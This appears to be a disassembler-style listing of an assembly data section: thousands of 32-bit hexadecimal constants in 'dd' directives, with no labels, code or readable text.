		dd 3BD36A83h, 817F2260h, 0CDCD1826h, 96BD092Ah,	9E9358D0h
		dd 7F2F9B65h, 5F4FAA6Fh, 8611A142h, 34F6C470h, 0F43DA714h
		dd 0B0A29329h, 0D7161611h, 75CE36E6h, 3C117790h, 0C3F915Ah
		dd 3C2B6037h, 91123929h, 0A88076ADh, 429A737Bh,	5EE459BEh
		dd 0E209C74Eh, 0FE19021Fh, 0C6146440h, 10A5C38Bh, 984ECCC8h
		dd 25B6477Ah, 6543CEE5h, 302B7D85h, 0A54AC6AEh,	84A9D94Fh
		dd 5B954795h, 0BABC9EAAh, 79386D4Ch, 0AD34BDE7h, 0E27CBA4Bh
		dd 145F18ECh, 89A9CEDh,	83E44816h, 8ECEC027h, 940BF8DCh
		dd 736DD761h, 0AC23CBEAh, 0FFBC873Fh, 8D714A42h, 0CBF2D58Ah
		dd 4D5AB5CFh, 0C1A45C80h, 42A3C08Fh, 0D7C3253Bh, 85213E70h
		dd 459955DEh, 4FC5803h,	685CED17h, 9A7115FAh, 0F5E8640h
		dd 0C88BABC1h, 0BCB1CB19h, 51A1E7E1h, 70AA0387h, 978F2801h
		dd 0D7762EFh, 5CFB2713h, 0B2225D8Fh, 0C5ED5A0Fh, 2030439Bh
		dd 0C51A9990h, 62EEF677h, 0AA178165h, 0C61BF5E3h, 2EFC2DDAh
		dd 0D12E8508h, 2BEB6FBFh, 2222BB49h, 4A49C53Dh,	64406A5Fh
		dd 336049BCh, 0A4635D3h, 0F3178782h, 0DA155526h, 0E62E7844h
		dd 0CFF0DC6h, 0C9BF703h, 5A93ABB3h, 0CB699623h,	87345648h
		dd 16AAD4E3h, 0D775E3E0h, 42953671h, 190C60DCh,	0ABA41F47h
		dd 1A5D29F6h, 1DA16F79h, 5465526Eh, 60B0CE5Dh, 9C367449h
		dd 6031E2EEh, 0DCB98189h, 0C98B5F96h, 0CB6C9C48h, 0C859A20Fh
		dd 45631Ch, 5D3FBC1Ch, 0C341A320h, 0D994AB91h, 0C421E754h
		dd 0F9A5D357h, 0A6128772h, 3B90681Eh, 0BFC4999Ch, 1EB59D7Ah
		dd 7C88BE97h, 77E4CDE5h, 0A23162C7h, 0CF688AE5h, 0CFA07371h
		dd 0BF2AB23Ch, 6150E735h, 0EEDD654Eh, 499F144Ah, 51B27957h
		dd 56F5E0BAh, 6A7B4E3Bh, 395A9607h, 5A54918Ah, 0F2A90658h
		dd 26006FC1h, 0E019B7E3h, 4499BA90h, 0D530FF2h,	8FEDD15Ah
		dd 7FE1BB79h, 60294D1Eh, 0C1CCB0BEh, 24A2CE17h,	167F3A70h
		dd 0D013452Dh, 0E73AB7FDh, 0BF133A67h, 0E3C86E41h, 0FF131829h
		dd 5626F032h, 1F6DC4CEh, 691B412Dh, 0E10DBF4Fh,	25D35488h
		dd 0EB73FDB4h, 0F0476329h, 76A01F72h, 0BE39BADEh, 0BE3F2059h
		dd 0CC516DF7h, 7D9E62E3h, 94CD6805h, 0C3BA5BD0h, 11CD1E2Eh
		dd 0DC0177D2h, 0B99B0DA7h, 0C2857B15h, 67223E19h, 0E7C2E052h
		dd 0D7617E30h, 13CA6BB5h, 7E05F225h, 78EE7F3Eh,	0CA208A0Dh
		dd 59E7D80Ah, 9F06BBDDh, 6BFB0148h, 2A637EEEh, 0A2B4470Dh
		dd 9A0CEA27h, 986EE361h, 0FA0EDADCh, 1E0B6090h,	655BAE2Ch
		dd 8959B4FCh, 77F5B0BBh, 54ABA08Ah, 297641E9h, 0ABE7FDEFh
		dd 9A051A62h, 0ED82C907h, 1639C118h, 27D553CCh,	5C83888Ah
		dd 0BA23F404h, 0C7F3A86Eh, 8FC6A026h, 0CBF2BAD2h, 0F0C841D4h
		dd 67F4D895h, 75BD0FA0h, 0EB97E9A4h, 9E8C4057h,	28D638ACh
		dd 1268A0CBh, 0C783948Ah, 429A729Bh, 5B098D4Ah,	6BDFB859h
		dd 20DDC1F9h, 6971410Fh, 5EC5321Fh, 85B5758Fh, 0E5AA940Ch
		dd 0B28C566Eh, 2696A8D4h, 1D15FD91h, 0A638AE7Ah, 0BFAA357Fh
		dd 2A7C8698h, 0AEA1164Bh, 92E5EB74h, 0AC97A744h, 4B58631Bh
		dd 814E9AD0h, 0F222B02h, 1E390422h, 7D8E00B5h, 0DB20888h
		dd 0CA230F82h, 3A6E2382h, 4AF6F5B1h, 6AA10E00h,	16A44911h
		dd 8EFF6F98h, 0FA3848F7h, 6845564Bh, 0CB2582E4h, 0A5CAA053h
		dd 49C5BBCFh, 2736EB23h, 0B3FF1230h, 0C61663AEh, 39E69B2Eh
		dd 0FB7D6A98h, 805AAED0h, 0C81B1D50h, 3BCFD0D7h, 6EE89585h
		dd 866D517Fh, 136B462Fh, 371D9B36h, 0F2817F15h,	3069866Fh
		dd 78E44E85h, 88AE740Fh, 87C6470Ch, 9DA72492h, 2B0AAFB3h
		dd 0D3CC3F55h, 28737E95h, 53769006h, 1EC3F289h,	90A70656h
		dd 376F78D1h, 104BC337h, 3FD8E066h, 0F44FF929h,	9B86FC51h
		dd 0E212D62h, 0FF342ECFh, 1907A89Bh, 52F667D2h,	0A8C46687h
		dd 0EB97E022h, 980EB06Fh, 51059C12h, 75B3CA1h, 0D584B2F0h
		dd 0D3BE440Fh, 0AB54A5F3h, 5BFFF645h, 0AA72CE51h, 2C115B64h
		dd 0E1109FEFh, 0A28F7FBCh, 6FEAC216h, 72098C92h, 0CF8036DBh
		dd 1653FA8Ch, 0E75BE861h, 0C79E24B8h, 73711638h, 38853142h
		dd 0D8580874h, 1F484ED9h, 2374ADA5h, 0E9844457h, 282ED741h
		dd 0EE55558Dh, 5C6DD8F5h, 77D6B2h, 0C4E6D5ACh, 2AD313C4h
		dd 0A1236175h, 0D6ACCB67h, 7315C95h, 5C00ED7Dh,	0B56B8F30h
		dd 0AA679C49h, 20242223h, 370A0AAh, 816232F5h, 0B2C6AD58h
		dd 8796A580h, 74087E3Ah, 0B1AC69F4h, 20C9E2C1h,	0E227E266h
		dd 5646D007h, 75568A8Ah, 0BD5D0934h, 0CE5C6706h, 92AB050Bh
		dd 38128FB5h, 2DCEB96Dh, 0BD71C9FAh, 981C54AAh,	6E03DBDDh
		dd 3AF45BE1h, 81361696h, 0CD1C15C2h, 9F85A02Fh,	73C7D29Bh
		dd 75DEA0Ah, 15D54B09h,	0A5434546h, 99085366h, 5F0559ADh
		dd 0B2452A5Eh, 814F1112h, 0E08A3EBAh, 1CC7AF14h, 0E1FB48CFh
		dd 6427F3B6h, 1CC2D397h, 757D065Eh, 94CDC83Dh, 13BAFEC4h
		dd 1391B775h, 0E38D395Ah, 3DF91E94h, 0AEA0E667h, 48BAD34h
		dd 0B34B20Ah, 0F94DCB92h, 4BB2AAh, 0FD573D1Dh, 0F16D985Fh
		dd 0F098C2h, 0B3A2B02Eh, 117E275Fh, 784F94AAh, 2D0F060Ch
		dd 0FA33F164h, 0CBEE3E4Dh, 64EF97EEh, 9F44F2CBh, 126D140Ch
		dd 36A4A714h, 8BEF6616h, 0E190A29Fh, 54B3C0Ch, 5C11B5B4h
		dd 174FCE1Ah, 1D0D503h,	43448885h, 0D278D2CEh, 0D846C07Bh
		dd 0B1B0414h, 90DE000Dh, 0C5FD9234h, 1A092643h,	1A1BCA98h
		dd 415BE654h, 70B19C5Dh, 0CA25F448h, 0E798CC24h, 0A71D751Fh
		dd 8D766BBEh, 0F3B2C1CCh, 5D61E03Bh, 42E785C9h,	83A4D590h
		dd 7335C26Ah, 0D7EA0A1Eh
		dd 0D0AD7B32h, 0F42649C5h, 8308D7FDh, 14132C7Bh, 0F0F103A0h
		dd 5E235F9h, 0B678F71Fh, 629EB4Ch, 0EFE721FDh, 0B851C2EFh
		dd 0D1B4A614h, 8BBAE64h, 0CDDE868Fh, 0D41C8105h, 542523BFh
		dd 0D5FDFF03h, 48D80E22h, 75041DCEh, 0CC3140DDh, 0BCB2A3F8h
		dd 7EC59A96h, 0D74C1BC3h, 2ECDA927h, 6361D7C5h,	0DE2EDF9Eh
		dd 0F0D196A2h, 476D94BEh, 1EEA6E60h, 25E6315Ah,	0ACDBE2C0h
		dd 62D57997h, 525D16EDh, 808D4752h, 0CBB3CAD0h,	7D04D1A0h
		dd 3A4B391Fh, 0EB413279h, 0A5F5D732h, 8ADBDBDFh, 76A57FE5h
		dd 13BAC1E4h, 0A99CE60Fh, 8E878E67h, 0B6252472h, 0BAEB173Fh
		dd 53CC8581h, 2CF7384Bh, 49E3BB7h, 35534BF3h, 1B4FF051h
		dd 0F5B8447Fh, 0D7E7D7F0h, 6691B31Ch, 5541C0Ah,	3238A625h
		dd 0AC7C8E3Fh, 717B3F25h, 0E761BA4Bh, 340E35BBh, 25A4D3CEh
		dd 0A01878C8h, 3F56C397h, 0F9E31AE1h, 60412889h, 0E310FF04h
		dd 10440B4h, 7F061670h,	492C595Fh, 9F3423EBh, 0C782C5F4h
		dd 5BA5620Fh, 2298CD75h, 646AC87Fh, 0CDD842BAh,	8F7086B2h
		dd 0E1E32C4h, 377FD5F4h, 34C8270Bh, 0F19926B0h,	3B66A067h
		dd 65BE8800h, 4B903008h, 2ACB322Fh, 1B611DDAh, 6B8E354Fh
		dd 0A184084Ch, 0AA1BE74Bh, 57361645h, 1C7DD8D8h, 0E7D4334Eh
		dd 3EB22BD0h, 0D8636734h, 0BDEF172Ah, 21DCF9BDh, 0BFB2BD95h
		dd 0EB7FD461h, 0C59BD75h, 981F76E7h, 0F9ED16C7h, 0F3CA8DD3h
		dd 5DC708CDh, 8474B2EDh, 0CDBA457Eh, 712C2BDFh,	22A8457Bh
		dd 0ED1E1B69h, 4A488FAh, 435DD7EAh, 0E78C357h, 3AF88CD9h
		dd 6FCBE3C7h, 9E814BDFh, 9A9A70D5h, 0B56220C7h,	9B0EB3DEh
		dd 98D61F87h, 1A293C97h, 0C34A2842h, 9D1D68EBh,	94FB60C5h
		dd 0F8E999Bh, 5369D17Dh, 0AE50099Ch, 0C8841D60h, 90FCD51Bh
		dd 5BB67664h, 0F0E0D41h, 0FBCF024h, 0AA30EB26h,	0E5C0F6B4h
		dd 7F06AF09h, 275837BBh, 9E533104h, 7DE9449Eh, 55F9DAEDh
		dd 0CA38ED46h, 5C3E48B7h, 197D7646h, 0E9C78CFFh, 60D49CB1h
		dd 4281C243h, 0F25213C0h, 0F4566D1Ah, 9E9995B5h, 0AA4A6ACCh
		dd 0F49DC656h, 0BAECD305h, 6FD7ADB5h, 0A2672929h, 0FC6A0610h
		dd 39D055B4h, 7FA6601Fh, 0AE30F481h, 9FA5AF43h,	0B6D2AEB5h
		dd 0F744D8h, 4AA316FCh,	94821A81h, 0D9247248h, 0D90A34CBh
		dd 9DEDD62h, 0AE5A9EE2h, 0C1278FE0h, 8160DFAh, 0FC89F7FBh
		dd 0B7A6940Ch, 0FAEE8C41h, 0F2C51A3h, 0E81996F9h, 86DBF854h
		dd 18171EECh, 597EBD39h, 0DCA6C8A3h, 849F8590h,	0D434F15Fh
		dd 283E4E95h, 0F509EECBh, 15120203h, 62795896h,	0A5C53571h
		dd 71E71ECBh, 0D4F65386h, 0B906A12Dh, 82CE576Dh, 0A2CF7F3Dh
		dd 858338DAh, 0FD3D8FF6h, 7561D9C2h, 188EDAC3h,	406C6F69h
		dd 7FA8820Dh, 2155D3B5h, 3EF69B27h, 1786396Bh, 55C85D4Eh
		dd 6CA5F18Ah, 0AE9E8701h, 93399288h, 0B25E0658h, 0F2E13F4Dh
		dd 0B50E8CE8h, 0B35E785Eh, 0F12876E6h, 1984F390h, 0CB3D36AEh
		dd 1BF19F3Ah, 0CC2A0DB9h, 97973386h, 9A7EB86Bh,	0EF24512Dh
		dd 0CA2DCDFBh, 0D861DF82h, 710C5FDAh, 0A148AAFCh, 18CC1DEDh
		dd 5B4E851Dh, 5B322B53h, 313F7661h, 0AC2435ADh,	0DC2FFB89h
		dd 2F130566h, 0BFDB5EA0h, 535CEBFDh, 0F4DB3AA5h, 5BCD7825h
		dd 292E5F61h, 15E9900h,	0E26AA747h, 845DBC99h, 0AE509757h
		dd 6418CDACh, 94E344C4h, 4A89E026h, 4721CCA4h, 2813F1A8h
		dd 2E84255Ah, 0F2DE15B5h, 94CE86A4h, 0F407969Bh, 17336496h
		dd 6B9D693Ch, 976FE9FAh, 115F097Ch, 9DA5E613h, 8C3E96FFh
		dd 0AB2FD6FFh, 0CE318C00h, 0CAAC4120h, 0FE904ACh, 77F8840Ch
		dd 0B508591Bh, 0E91127F9h, 0AB34B183h, 9D50C28Ch, 4725E7A2h
		dd 191BBEB9h, 1185ED01h, 0CE1F9C82h, 243A3982h,	9B601BD5h
		dd 0E57F0EE1h, 0C4CBD007h, 149A6F49h, 0D86633B8h, 0D66086EAh
		dd 2DFF8D4Ah, 0D919A7C5h, 0D5AF3D8Bh, 87BBD617h, 70E66B36h
		dd 0B78A8669h, 8DD8DB9Bh, 7841D59Dh, 0EC1DF79Dh, 1F788FF3h
		dd 3E15EE59h, 0C64C4356h, 0F1E9F412h, 56948817h, 298A923h
		dd 6B842220h, 8D25FF4Dh, 0F9C91718h, 60294237h,	67EA492Ah
		dd 98098B91h, 58786877h, 190CEE13h, 0E176B741h,	0D3F6948Ch
		dd 5964C19Ch, 0A602071Dh, 65A43205h, 2B30284Eh,	8C2D0FCCh
		dd 18B89925h, 982CD277h, 10B7335Fh, 82E4EDD4h, 5D0352CAh
		dd 0BD5D34F4h, 5B443913h, 929DE9D9h, 0F2010Ah, 3507CFE8h
		dd 0B2A1A89Ah, 0E2586D8Ch, 564EB093h, 9F3E1187h, 0A5C3E10Eh
		dd 68841C7Fh, 13A20033h, 6E6ADDA0h, 0FD8CB6E1h,	0FBD47C9Bh
		dd 3CE6C0EEh, 1F8E12A9h, 179FD8C8h, 7A607D4Fh, 0CE4F4616h
		dd 10B8DC89h, 9567609Dh, 0C9B4762Dh, 0F458EEA6h, 0A6947269h
		dd 0E0E181BDh, 1A0EBF73h, 47B62EA8h, 0E98C04D6h, 0BD393F68h
		dd 0FAE88A6Eh, 0E006F0F0h, 0F9C81013h, 509B975Dh, 0DD76920Eh
		dd 0A256EC72h, 3DC1B7F8h, 7DD972D9h, 0A08E26C5h, 7BC893D6h
		dd 5742B3DFh, 44C6E812h, 6C503461h, 521EF098h, 63AC2B9Fh
		dd 92D15B29h, 71AAFAFAh, 4EB9CA4Eh, 8E984D17h, 5E665695h
		dd 0E6208119h, 0A481E3ECh, 0F31B5E10h, 0F8A165AAh, 64FD22A9h
		dd 0A8DD21B9h, 17A52EDEh, 27A7B149h, 8FF4FEE6h,	16C21D5h
		dd 599057EDh, 0CDA74F36h, 0FB7021BCh, 0F02519C8h, 632794EDh
		dd 0ACEC01E9h, 746AD587h, 9F13E2BBh, 0DA77874Fh, 0FAFE20EBh
		dd 4333845Bh, 154567CEh, 42A2FAFCh, 0F615E328h,	9CE1A86Ch
		dd 0D7F9ED5Ah, 0E54CA475h, 0A37E3E12h, 3EF1E053h, 0C7A0C1BFh
		dd 3F9CE098h, 4F6B472Ch, 48D3F86Fh, 0B6B9FED8h,	553F18D3h
		dd 74DEA5B9h, 6539568Dh, 0D85227F9h, 0AE54AD7Eh, 15AE88F1h
		dd 890F7C87h, 7388609Fh, 5A61D65h, 155B54A1h, 92C1EA6Ch
		dd 0AACE01D1h, 0AE0FBAE3h, 8AB8C217h, 5B30B2B2h, 3436D49h
		dd 0CD31C901h, 12B73375h, 0A41B861Ch, 554FEDCEh, 0A7ABF487h
		dd 7F4F4834h, 7309BC52h, 70986964h, 0A54973EAh,	7A2C2FBBh
		dd 0C986C573h, 4F5780D9h, 3F7A8C66h, 3F3F4E3h, 113AA32Bh
		dd 62D9137Fh, 57D3B3CAh, 3D301FC7h, 8F14BC89h, 998A7B49h
		dd 25D4083Ch, 59830618h, 0FB31620Fh, 0B8C65A5Ah, 576E18A3h
		dd 0F43361BFh, 34B26ABDh, 10FE7A7Dh, 99868D24h,	23DCD80h
		dd 60DB7A28h, 23415755h, 0CF399F87h, 750DEC14h,	848668D1h
		dd 0DDA83A08h, 66D81929h, 570867F9h, 0BFF7711Bh, 4A93A400h
		dd 25CD01ADh, 0EF498F59h, 96D3AE61h, 27A28BB0h,	5662B19Ah
		dd 0F5383102h, 77FC710h, 0CFCF28FEh, 0FE8650F1h, 0E03A66Eh
		dd 0C3B7AB12h, 3CD8E15Fh, 0A8C92631h, 46934E64h, 4F5B9A2Ch
		dd 74C64272h, 0D014425Ah, 0B35BC682h, 0BBC98C09h, 715C0E28h
		dd 15241C12h, 0CDD30FE3h, 0F379B671h, 0E28891C6h, 102FE141h
		dd 4488B724h, 6D26E2E3h, 2D88B8B6h, 71E43683h, 4751B56h
		dd 88B3A748h, 0A290D4Dh, 44395C82h, 0D83BBD2h, 0B7BBAEAAh
		dd 1A4A1646h, 85399F77h, 0E7A13FFAh, 0C91BD525h, 601C2604h
		dd 0B945F4E2h, 1E9E6EF4h, 3BF94A3Bh, 3DB33224h,	619BD24h
		dd 95DCF863h, 0B3733129h, 0CF2A181Ah, 54C5F6C3h, 58ECCAE7h
		dd 991362A3h, 0F3F466BFh, 0B8668334h, 56C5E547h, 25D14532h
		dd 0F0EB673Bh, 8076AA6Bh, 343B68ACh, 36453BBCh,	6C7EDB03h
		dd 268CF818h, 0FD883B67h, 2576822Eh, 0B33A52ADh, 0C6EB1391h
		dd 0AC44811Ch, 65CD55C8h, 39CA2517h, 0CBA2DDFDh, 0DA87B242h
		dd 0B7E93A66h, 0BE28A819h
		dd 0D4500176h, 3900FD3Fh, 7917062h, 6C8A5645h, 36A70871h
		dd 849D8DDh, 0E2CA1515h, 42DF2004h, 2B955A3Bh, 0A793B3E9h
		dd 0F9BD4108h, 0D8B89DE2h, 952184C4h, 10E89867h, 789D6451h
		dd 3671718h, 0ED3831C6h, 6F530B22h, 0CB686B64h,	28710CE3h
		dd 66CB96E8h, 0FB3CACBEh, 70602584h, 0F914C782h, 421FF8E6h
		dd 72325FBCh, 0AF44B049h, 0A14009FCh, 1058CE9Dh, 0FA02040Eh
		dd 0A44A012Ch, 0C648EA54h, 90DEB0F1h, 0AAEFDE17h, 29FC6FB7h
		dd 0CB1F5CC7h, 0B85A359Eh, 4993FB82h, 6B4AE7F3h, 25EA4640h
		dd 74AEC8AEh, 36A995D9h, 7B30DBF5h, 0CBB3BBE9h,	18021CCBh
		dd 5D48D192h, 8035E750h, 0B976F20Ch, 0FB88340Fh, 89B8A211h
		dd 21EE3C71h, 0F59B9837h, 2F7A1729h, 7B9D560Ch,	141CF18Fh
		dd 3F56000Ah, 0BE06AC8Dh, 0D5F24816h, 10217BFDh, 0ADB92A30h
		dd 0AF6B6553h, 0C7941CB4h, 8C18A852h, 49D32FBEh, 50D02C6Fh
		dd 0ABDC68B1h, 869FD443h, 17589A3Eh, 7570023Dh,	61AB2383h
		dd 68C26395h, 0FBB335F0h, 0F94A0134h, 0A162A769h, 0D5E9B4DCh
		dd 92D625D9h, 61FE469Bh, 516D5A33h, 95C7B539h, 0BE834A8Dh
		dd 217FD3AFh, 51ACE188h, 945ADDF7h, 872DA07Dh, 8B74E048h
		dd 2411F8AEh, 0B83CF7C8h, 0EB68E17Dh, 0E6B191FFh, 0BBC12948h
		dd 3971CA34h, 0FBF5ECFBh, 0A453A1E7h, 0FC47F6D3h, 0A3ABFBEAh
		dd 0D0DAE3E9h, 20E319B4h, 2EC5984h, 6A04F52Fh, 4963DA69h
		dd 78EC6E96h, 0BCFA2F09h, 0CE707C5Dh, 0C4D19AE4h, 60CAF2EFh
		dd 0BECD2304h, 0BD01EFECh, 7F5F30E0h, 0E1FF7FFAh, 731F8D2Ah
		dd 292F9E69h, 0AB1058A0h, 0A38B55AFh, 0A136BE19h, 0BB8F2FD7h
		dd 14E6C8E6h, 0DAC1CF94h, 0F3068C50h, 0E31897B1h, 0D5E1859Bh
		dd 81736E0Dh, 0E983B15Bh, 4A5874A3h, 0AA3EEBFCh, 0FADB5F9Ah
		dd 0E5E8B3Bh, 3A0C4B2Eh, 810D05C7h, 37262D5Ah, 5E4DDD7h
		dd 9C108B23h, 0FA651599h, 1C3BCB59h, 8CB24F0Ch,	6927659Ah
		dd 593071C9h, 0D04C1A73h, 0BB45969Bh, 0B3A74449h, 2075EA2Dh
		dd 23CACCAh, 8BDCBFBFh,	0A2A0628Dh, 0A02E528Ch,	0D03013AAh
		dd 0B43310FCh, 42887049h, 0A9C254B9h, 0DC8C3365h, 32569048h
		dd 0B9930B53h, 287B90D3h, 8965915Ch, 7F1F66C6h,	9FF15975h
		dd 2594815Fh, 0C68CF819h, 0BF2A3857h, 7FA19B51h, 0E20A02B4h
		dd 8CA368FBh, 11B6EA1Fh, 7368DF9Ch, 9C319490h, 75FB0ACBh
		dd 2E371047h, 540E9A12h, 1C0C17BEh, 1CA06B57h, 3067C343h
		dd 1E171BE0h, 8F349712h, 5B79EF98h, 6A1FDA9Bh, 2586EC79h
		dd 41F12C94h, 47B37FCCh, 121D20F2h, 51DD317Eh, 45B85BB8h
		dd 1F4D4F4h, 273249CAh,	0BDDA9DA8h, 14521C4Ah, 0C44B7C6h
		dd 0A02F0CE3h, 275259A4h, 0E0E8DCB4h, 6221FB8Dh, 5E44311h
		dd 66B47F95h, 0FA43166Eh, 11F83D25h, 0A808BEC5h, 390DBC00h
		dd 9607303Ah, 416CD8DBh, 0A3CAA710h, 0D6631B22h, 9F81AE1Eh
		dd 8C0111FEh, 21746F91h, 27DD6629h, 9B4B425Ch, 8D3F96D5h
		dd 0A08FA32Fh, 0B9CF71D1h, 39F38BE6h, 0DBAC9A78h, 2215A497h
		dd 652FAC4Eh, 5EDAE35h,	0A7BB2E62h, 88EB7C7Bh, 0F09D46F9h
		dd 8E5C4AB1h, 0C4D9A739h, 3F3746A9h, 98591D9Ch,	992EB073h
		dd 915BAF82h, 467D0ACh,	0BE49EABDh, 2C409C73h, 0B3146D69h
		dd 86C30D5h, 1210FDEDh,	9F9C427Eh, 1747851Dh, 0BBC9317Ah
		dd 1C89B82Eh, 4BE907B1h, 26768417h, 7AC0DEB9h, 12B3A522h
		dd 0F9F5ECDh, 76EE44D5h, 0B9342F31h, 0E2B9556Ah, 0C3094625h
		dd 30EA9AC0h, 0BA12C7CFh, 3A89A0E0h, 654FC738h,	7DA4131h
		dd 4311AE23h, 0C2B415F4h, 0C7D50BE4h, 95B44C71h, 0FF898D1h
		dd 0D936F440h, 0DD20F07Bh, 6A3301FCh, 0E594917Ah, 24BDDC6Fh
		dd 3D7164E4h, 0D4C2435h, 0F103A31Eh, 0DBDD4E5Ch, 0C31B7FE4h
		dd 0F77D9883h, 0BFD0CED0h, 18746917h, 81308836h, 0D6F25272h
		dd 15973539h, 0E65133ADh, 47BEC113h, 767EF65Ch,	7C21A8D8h
		dd 10B94839h, 0FC99C694h, 106C21CDh, 9F60BF91h,	0F6EF742Bh
		dd 0E4F71537h, 49F2CA37h, 5C76891h, 27B7CF3Ch, 62AF2480h
		dd 21047558h, 86C1E89Ch, 0FDDBD9BFh, 108719FAh,	3AC3D8Dh
		dd 8335DD07h, 0EFF67F5h, 87DB5BD5h, 0E3650246h,	7F76C717h
		dd 7BE43516h, 0D40AFB80h, 0B134FD08h, 4BB5BAE6h, 0E643A15Eh
		dd 710C2F2Fh, 36397442h, 4EAF4B6Ah, 8D95417Dh, 60698029h
		dd 0D4845D28h, 0EAD79971h, 0B759684Ah, 2CE7527Eh, 0C6AC21F1h
		dd 0B70E10C8h, 0FE36B5AEh, 5D68C14Ah, 0D1E2ACECh, 0B1F17247h
		dd 50B81A35h, 0C90D9D2Bh, 0B52F3E70h, 0AD7C5D77h, 57DAFFD7h
		dd 1F273F7Fh, 3B812841h, 0CD80370Eh, 268814F6h,	0B74C4050h
		dd 0B32CC695h, 0E0B14D67h, 390226A7h, 780E66B8h, 0B6B81280h
		dd 2AE939C4h, 15A052DDh, 53006597h, 0E19265Ch, 0E6EC83CAh
		dd 1743B654h, 0A6E8D68Ah, 0BDA5E6F0h, 8E928DA1h, 0AB51BF69h
		dd 79DAAB17h, 77BB6621h, 22B7E39Eh, 0D62E9ED7h,	0FBB9A8B2h
		dd 0A581233Fh, 0B23F48BEh, 103F8E39h, 764C129Dh, 0E7F2E7h
		dd 0F470E9Fh, 29482C15h, 3B27FC49h, 810AEC02h, 0BE1D7BECh
		dd 9D0FFC75h, 9AB913D7h, 6DDBE55Ch, 91F90997h, 0F99D9E34h
		dd 42B0EFE8h, 3BDAD14Fh, 599A2979h, 0D22462F9h,	8C6D2D9h
		dd 9212A6B1h, 0FA07D91Bh, 688FB0B5h, 85CAF22Dh,	5CAF610Fh
		dd 5FFCD46Eh, 0E04D160h, 0B7CC927Ch, 0DC31B5C8h, 781C2DF5h
		dd 55B490E3h, 5ED220CEh, 0AAEE5330h, 1EA53154h,	0C96E297Dh
		dd 0D576E6B7h, 1B6ACCD8h, 75043408h, 0BCC8225Ch, 3E6F6F43h
		dd 12B8B1CBh, 0C9487055h, 0D0F6863Ah, 0DA61006Dh, 599A7B4Fh
		dd 0D63038E8h, 5641BCDBh, 9C0CA99Fh, 7F99DAA6h,	2F0F69E0h
		dd 964ADE9Bh, 3D0944B6h, 0C7486487h, 0FBB334DCh, 78C790EBh
		dd 8CDFADC1h, 7C25DF60h, 0B4930C30h, 33D93873h,	9C0182CCh
		dd 0E2959E30h, 0F1E5405Ah, 0E90C647Eh, 0FE9A6E66h, 0A723D967h
		dd 0C5413DBCh, 0EF7FFCDFh, 7C5BF72Dh, 2FC666F0h, 23FE23D9h
		dd 7C07AF56h, 657E9216h, 546783DFh, 6191DE2Ch, 3E7BF7AAh
		dd 0E44F2274h, 149DD301h, 9DAAD40Ch, 0E5587881h, 0AF7EFFDh
		dd 7646A2A0h, 71812BDBh, 0F9083A3Fh, 8024808Dh,	9EDA73A8h
		dd 7103C81Bh, 0B71334CFh, 67557434h, 6E0C8E3Eh,	1850B60Bh
		dd 15BD5DEAh, 107517Dh,	0FEA58028h, 82D9103Bh, 3715DEDFh
		dd 8649BEBCh, 8FB9BC65h, 0CBA0C46Bh, 7929CB99h,	0B2EE705Eh
		dd 0B51A7101h, 0E6CA61C7h, 0FC1081A4h, 4C3F9028h, 0BBD6EF39h
		dd 81C531C0h, 6D57CEEAh, 0D7AE4B66h, 0A38D9E2Fh, 54ABE91h
		dd 7E853DFh, 677300F4h,	2FE41170h, 6F6DEABAh, 2277E8EBh
		dd 3D35C54Ah, 0BFBB2DA6h, 537159ACh, 1F2A4FC5h,	1EDCF17Bh
		dd 0A4CA7377h, 5C2CDC74h, 54593260h, 0C3F288A1h, 29104AD8h
		dd 8FD8EBCFh, 0A4D16CD4h, 0D49B497Ch, 0E7FBA882h, 45C8B877h
		dd 84363297h, 2710A2F3h, 0F63C8D7Ch, 9569E71Bh,	1041333Eh
		dd 336EB540h, 4B9EBDBBh, 40A3FA24h, 0BFFB50EAh,	5E8BB026h
		dd 0A1F2AA3Eh, 66DDF4B0h, 0CFB84A8Bh, 17604D77h, 196C4A1Dh
		dd 6D218129h, 7CCB9B3Bh, 7F479A45h, 5F36F2Bh, 33C20C5Bh
		dd 3E057228h, 0A478D764h, 86BC14DEh, 0DE6AE7D9h, 2C298930h
		dd 88FC8DDDh, 0B7428538h, 0B426FCB0h, 1EC90216h, 94BF7DDEh
		dd 7987A32Ch, 8346EE69h, 3E9124E1h, 29A332BAh, 63D05C22h
		dd 78CB3AEFh, 8135CB2h,	67879975h, 0BCD3AF63h, 0E15EE730h
		dd 0A0EEC4F0h, 0A607BA75h
		dd 1B506A45h, 79C20B2h,	0DC5FACC3h, 40B10CA4h, 0FFAD34A1h
		dd 7EC93A00h, 0C3A0C5B6h, 25345732h, 3001851Ah,	2E35050Fh
		dd 7CEB870Bh, 8AC67C6Bh, 0CCB2B6B0h, 0E185B2F3h, 0D8EFEB19h
		dd 0D18E9574h, 3F9229Ah, 0C09C1EE5h, 70C4B037h,	0DD2B7A80h
		dd 0D2305CE1h, 480D1147h, 0DB5C8E84h, 0EED0AA19h, 217CCF47h
		dd 53973605h, 0F340815Fh, 0F450ACF9h, 73C772B2h, 0E8D3BF2Bh
		dd 3E2C5DF1h, 0AC5DD0E7h, 638A08DFh, 0DF9B438Dh, 0E41C6FDFh
		dd 8528C6F1h, 0B6FF4AD5h, 0F6166C82h, 63278610h, 0F4E81CA1h
		dd 0F0528BCAh, 357BD43Fh, 29F57AD5h, 6E0AE7E9h,	8C2819C7h
		dd 0D9748328h, 0E45F9396h, 3914772Fh, 0F8352EEh, 5D1D172Eh
		dd 0A5C4884h, 31E45902h, 0ECB953D7h, 9321EFC8h,	0FBABD728h
		dd 1E2CFDAEh, 78BD7658h, 50E8509Ah, 0C111D8D3h,	2D65A36h
		dd 24A86F9Dh, 6895F1A4h, 0B408E83Ah, 5A95EC9Dh,	3F1A6235h
		dd 467A9FBCh, 4AAC780Dh, 5A1B185Dh, 364B09DDh, 30435A08h
		dd 5594F33Dh, 2AD945BDh, 0A82E0DCBh, 7C1E723h, 0CA7BA43Bh
		dd 42E9BAF2h, 5D01A086h, 0B9073F49h, 0B02B65D7h, 5E11F599h
		dd 0F1C31007h, 4BDDD6DDh, 0AD4F0151h, 7069E4C9h, 9BA370B4h
		dd 0D60B2859h, 58344D14h, 19F5EAA7h, 0F49EDB21h, 369E53BDh
		dd 0A7C5AEB5h, 41397B1Bh, 2EB466EEh, 67009106h,	0C8DEAE2Bh
		dd 976CAB95h, 2796F68Dh, 0F57E4281h, 5AF12C55h,	95726395h
		dd 0AEF3E9F6h, 215B065Ah, 0A67655D9h, 9E7FEB96h, 8EE0DC91h
		dd 0B64E8F4Fh, 5BCA2258h, 812A3228h, 4FD5125Dh,	0F8D19502h
